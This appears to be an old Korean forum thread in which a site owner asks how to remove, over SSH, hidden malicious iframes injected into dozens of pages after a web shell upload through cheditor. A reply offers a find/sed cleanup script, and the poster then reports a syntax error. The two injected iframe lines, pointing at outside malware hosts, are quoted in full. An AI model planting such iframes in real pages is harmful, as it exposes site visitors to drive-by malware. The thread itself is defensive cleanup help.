ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 924 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,661
14년 전 조회 1,052
14년 전 조회 1,340
14년 전 조회 858
14년 전 조회 985
14년 전 조회 783
14년 전 조회 1,109
14년 전 조회 1,006
14년 전 조회 427
14년 전 조회 562
14년 전 조회 641
14년 전 조회 949
14년 전 조회 772
14년 전 조회 770
14년 전 조회 756
14년 전 조회 1,162
14년 전 조회 861
14년 전 조회 868
14년 전 조회 881
14년 전 조회 687
14년 전 조회 1,746
14년 전 조회 1,516
14년 전 조회 944
14년 전 조회 772
14년 전 조회 1,841
14년 전 조회 1,206
14년 전 조회 1,040
14년 전 조회 807
14년 전 조회 1,513
14년 전 조회 3,770
14년 전 조회 2,430
14년 전 조회 1,122
14년 전 조회 740
14년 전 조회 795
14년 전 조회 1,315
14년 전 조회 986
14년 전 조회 1,357
14년 전 조회 1,404
14년 전 조회 1,423
14년 전 조회 626
14년 전 조회 868
14년 전 조회 2,747
14년 전 조회 765
14년 전 조회 1,234
14년 전 조회 812
14년 전 조회 690
14년 전 조회 1,228
14년 전 조회 658
14년 전 조회 1,339
14년 전 조회 925
14년 전 조회 1,580
14년 전 조회 1,511
14년 전 조회 1,023
14년 전 조회 1,255
14년 전 조회 942
14년 전 조회 1,647
14년 전 조회 1,228
14년 전 조회 1,222
14년 전 조회 1,504
14년 전 조회 1,401
14년 전 조회 827
14년 전 조회 899
14년 전 조회 670
14년 전 조회 843
14년 전 조회 1,594
14년 전 조회 2,346
14년 전 조회 2,245
14년 전 조회 1,879
14년 전 조회 1,422
14년 전 조회 1,500
14년 전 조회 1,278
14년 전 조회 1,537
14년 전 조회 644
14년 전 조회 1,275
14년 전 조회 640
14년 전 조회 1,087
14년 전 조회 858
14년 전 조회 1,971
14년 전 조회 743
14년 전 조회 2,563
14년 전 조회 981
14년 전 조회 818
14년 전 조회 2,918
14년 전 조회 688
14년 전 조회 960
14년 전 조회 500
14년 전 조회 823
14년 전 조회 605
14년 전 조회 1,296
14년 전 조회 729
14년 전 조회 1,101
14년 전 조회 724
14년 전 조회 653
14년 전 조회 632
14년 전 조회 1,340
14년 전 조회 802
14년 전 조회 691
14년 전 조회 712
14년 전 조회 1,380
14년 전 조회 1,389
🐛 버그신고